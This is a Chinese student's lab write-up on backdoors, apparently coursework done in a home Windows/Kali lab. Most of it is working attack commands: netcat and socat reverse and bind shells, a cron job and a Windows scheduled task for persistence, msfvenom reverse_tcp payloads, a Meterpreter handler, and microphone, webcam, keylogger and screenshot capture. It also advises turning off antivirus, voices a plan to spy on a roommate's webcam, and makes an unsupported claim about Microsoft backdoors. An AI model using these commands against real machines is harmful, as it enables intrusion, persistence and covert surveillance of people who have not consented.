文章目录
- 20194311姜晨昊Exp2-后门原理与实践
- 一、实验基础
- 基础知识
- 后门的概念
- 常用后门工具
- 1.NC和Netcat
- 2.SoCat
- 3.Meterpreter
- 二、实验目标
- 三、 实验环境
- 实验过程
- 1.使用netcat获取主机操作Shell,cron启动
- 2.使用socat获取主机操作Shell,任务计划启动
- 3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 1.获取目标主机音频
- 2.获取目标主机摄像头
- 3.获取击键记录
- 4.截取主机屏幕
- 五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 1.参考网上资料
- 2.使用msfvenom --list payload查看各个主机版本适用的payload
- 3.选定payload,确定所需要参数
- 4.生成shellcode
- 5.生成input_shellcode文件
- 6.再开一个终端,配置msfconsole
- 7.打开exploit监听
- 8.在之前的终端输入(cat Input_shellcode;cat) | ./pwn1
- 9.成功实现各功能
- 六、基础问题回答
- 1.例举你能想到的一个后门进入到你系统中的可能方式?
- 2.例举你知道的后门如何启动起来(win及linux)的方式?
- 3.Meterpreter有哪些给你印象深刻的功能?
- 4.如何发现自己有系统有没有被安装后门?
- 七、实验心得
20194311姜晨昊Exp2-后门原理与实践
一、实验基础
本次实验需要我们掌握后门的基础知识,学习使用nc实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom指令生成简单的后门程序,学会MSF POST模块的应用。
基础知识
后门的概念
后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
常用后门工具
-
1.NC和Netcat
底层工具,进行基本的TCP、UDP数据收发,常常被与其他工具结合使用,起到后门的作用。
在Linux系统中一般自带netcat,使用man nc命令可以查看使用帮助
在Windows系统中,需要下载ncat.rar,解压后可使用
-
2.SoCat
相当于Netcat++,一个超级Netcat工具。
在Windows下可以下载socat.rar,使用README作为参考。
任何代理、转发等功能都可以用该工具实现。
-
3.Meterpreter
一个用来生成后门程序的程序。
它包含着后门的
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。
常见的Meterpreter
程序有
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
本次实验我们使用msfvenom指令生成后门可执行文件Meterpreter.
二、实验目标
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell,任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
三、 实验环境
环境
- 主机:Windows 10;
- 靶机:Kali Linux Debian 10;
在主机上用ipconfig
查看Windows10主机IP
主机IP为192.168.3.11
在Kali虚拟机中用sudo ifconfig
查看Kali虚拟机IP
Kali虚拟机IP为192.168.56.103
实验过程
1.使用netcat获取主机操作Shell,cron启动
在主机中使用ncat -l -p 4311(个人学号后四位)监听本机的1218端口
(注:若Windows中未安装ncat
命令,可以点击ncat.rar下载,解压后可使用)
在主机中获取虚拟机shell
在虚拟机中使用nc 192.168.3.11(主机IP) 4311 -e /bin/sh
连接主机反弹shell
成功getshell
在虚拟机中获取主机shell
在虚拟机中用nc -l -p 4311
监听主机4311端口
在主机中用ncat -e cmd 192.168.56.103 4311
成功获取到主机shell
在虚拟机中cron启动并在主机监听
先在虚拟机上用crontab -e
指令编辑一条定时任务(crontab
指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
在最后一行添加17 * * * * /bin/netcat 172.16.228.3 4311 -e /bin/sh
,即在每个小时的第17分钟反向连接Windows主机的4311端口
等到每小时的17,在ip地址为172.16.228.3 的主机端用ncat -l -p 4311打开监听即可
在主机成功获取虚拟机的shell
此外,也可以开一个非反弹式后门,在cron中写入nc -l -p 4311 -e /bin/sh
,这是攻击机能随时通过nc 主机ip 4311
获得虚拟机的一个Shell
2.使用socat获取主机操作Shell,任务计划启动
在Windows获得Linux Shell
在Kali中用man socat
查看使用说明
在Windows中按Win+R,再输入compmgmt.msc
打开计算机管理
在系统工具中的任务计划程序中创建任务
设置任务名称
新建触发器
下一步是新建操作,但在新建操作前,我们需要在Windows上下载socat.rar
,并解压后使用,使用参考README
新建操作,操作设置为启动程序socat.exe
,并添加参数tcp-listen:4311 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口4311,同时把cmd.exe的stderr重定向
在Kali中输入命令socat - tcp:192.168.3.11:4311
成功获取Windows的Shell
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在Kali上生成后门可执行程序20194311_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4311 -f exe > 20194311_backdoor.exe,其中
LHOST
为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IPLPORT
是回连的端口-p
使用的payload。
payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。-f
生成文件的类型>
输出到哪个文件
在Windows上打开监听ncat -lv 4311 >20194311_backdoor.exe
在Kali上用nc 192.168.3.11 4311 < 20194311backdoor3.exe将生成的20194311backdoor3.exe后门程序传过去
在kali上使用msfconsole
指令进入msf控制台
对msf控制台进行配置
依次输入以下命令
use exploit/multi/handler
#使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp
#使用和生成后门程序时相同的payload
set LHOST 192.168.56.104
#KaliIP,和生成后门程序时指定的IP相同
set LPORT 4311
配置完后的情况
接着输入exploit
进行监听,在Windows在打开20194311backdoor3.exe
后成功获取到Windows的shell(注意最好把所有杀毒软件退出,否则打开后门程序时很容易出现拒绝访问的情况)
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d
可设置时长)
2.获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
run webcam
可以进行屏幕录制,相当于不间断地用摄像头拍照片,并不断存储在一个jpg中,在文件系统中我们会看到一个在不断变化的jpg文件
3.获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录(-d
可设置时长)
4.截取主机屏幕
使用screenshot
指令可以进行截屏
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.参考网上资料
msfvenom生成各类Payload命令
msf生成shellcode - dozeoo - 博客园
KALI的学习笔记篇(八)使用MSF生成的SHELLCODE制作免杀PAYLOAD
2.使用msfvenom --list payload查看各个主机版本适用的payload
3.选定payload,确定所需要参数
指令如下
msfvenom -p linux/x86/shell_reverse_tcp --list-options
选好了payload,接下来我们-f选payload的输出格式,可通过如下指令查看其有那些格式
msfvenom -f --list
linux/x86/shell/reverse_tcp
因为我们需要注入到实验一的pwn1文件中,故选择c格式
4.生成shellcode
最终生成shellcode的指令为
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.104 LPORT=4311 -f c
-p linux/x86/shell_reverse_tcp
表示使用的payload为linux/x86/shell_reverse_tcp
,其中需要的参数分别为:LHOST=192.168.56.104 LPORT=4311
-f c
表示采取c编码格式
5.生成input_shellcode文件
按照实验一方法生成input_shellcode文件
6.再开一个终端,配置msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4311
LPORT => 4311
msf6 exploit(multi/handler) > set LHOST 192.168.56.104
LHOST => 192.168.56.104
7.打开exploit监听
8.在之前的终端输入(cat Input_shellcode;cat) | ./pwn1
9.成功实现各功能
六、基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
在网上下载盗版的软件,像下载某些付费软件的“破解版”,可能其中已经被植入了后门。
2.例举你知道的后门如何启动起来(win及linux)的方式?
- Windows
1.Windows系统隐藏账户
攻击者创建一个新的具有管理员权限的隐藏账户,因为是隐藏账户,所以防守方是无法通过控制面板或命令行看到这个账户的
2.Windows计划任务后门
修改了Windows的任务管理计划,设置成系统进行特定动作如本次实验我是用的锁定屏幕,或者在特定时间触发后门程序
3.Windows服务后门介绍
攻击者利用Windows的服务机制创建一个后门服务,那么这个后门将比一般的持久化方法更为强健。
4.Windows启动项后门
一种是重启电脑时自启动后门程序实现权限维持;另一种是点击某应用、服务、程序时自启动后门程序实现权限维持。
- Linux
1.增加超级用户帐号
2.破解/嗅控用户密码
3.放置SUID Shell**
4.利用系统服务程序
5.TCP/UDP/ICMP Shell
3.Meterpreter有哪些给你印象深刻的功能?
在本次实验前,我查找了一些有关Meterpreter的资料,对其启动隐藏、难以被查杀、生成后门快捷方便等特点印象比较深刻。在实验过程中我也实际操作使用了Meterpreter进行后门程序的生成,发现这真的是一个特别好使的工具,仅是简单的一句代码就可以生成相对应类型的后门。
`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.104 LPORT=4311 -f exe > 20194311_backdoor.exe`
4.如何发现自己有系统有没有被安装后门?
如果电脑经常出现一些异常情况则在一定程度上可认为系统被安装了后门(其实Windows本身就被微软植入了许多后门,只是还没到暴露后门获取情报的时候)
简要说来有这样一些异常情况:
经常死机
病毒打开了许多文件或占用了大量内存。
系统无法启动
病毒修改了硬盘的引导信息,或删除了某些启动文件。
某些文件打不开
病毒修改了文件格式;病毒修改了文件链接位置。文件损坏;硬盘损坏;文件快捷方式对应的链接位置发生了变化;原来编辑文件的软件删除了。
经常报告内存不够
病毒非法占用了大量内存,或是打开了大量的软件。
提示硬盘空间不够
病毒复制了大量的病毒文件。
出现大量来历不明的文件
病毒作为母本复制了大量文件。
启动黑屏/蓝屏
病毒感染。
数据丢失
病毒删除了文件。
系统运行速度慢
病毒占用了内存和CPU资源,在后台运行了大量非法操作。
系统自动执行操作
病毒在后台执行非法操作
七、实验心得
- 在观看云班课教学视频时,我觉得这次的实验应该挺简单的,毕竟代码比较固定,但真正去做的时候,才会发现仍有各种各样的问题。
- 本次实验中有许多步骤需要确定虚拟机与主机ip地址在同一个网段下才可正常进行,但我若在一个网段下,则虚拟机会无法连接互联网,ping不通主机,导致后续一些操作失败,此时就需要将网络连接方式改回去。
- 在完成“在虚拟机中启动cron并在主机监听”时,我输入
crontab -e
后,在最后一行添加17 * * * * /bin/netcat 172.16.228.3 4311 -e /bin/sh
,即在每个小时的第17分钟反向连接Windows主机的4311端口,但主机端输入ncat -l -p 4311
却毫无反应,刚开始我还以为是需要多等一会儿,但在我等了十分钟后,还是没有反应,多次修改时间也是无法正常运行,故我选择在云班课互助讨论组发言求助,果不其然,短短几分钟后,就有热心同学为我提供了可行的解决方案。让我感受到了集体的智慧。- 在进行“使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容”一项时,我觉得非常有意思,同时,这种切实的实验结果更是让我印象深刻,大大提高了我的防范意识。
- 本次实验我全程在我自己的电脑上完成,这也激起了我的兴趣,打算做完实验后与我的室友合作,看看能不能通过本次实验的一些操作控制我室友的主机摄像头、屏幕截图等。
更多推荐
20194311姜晨昊Exp2-后门原理与实践
发布评论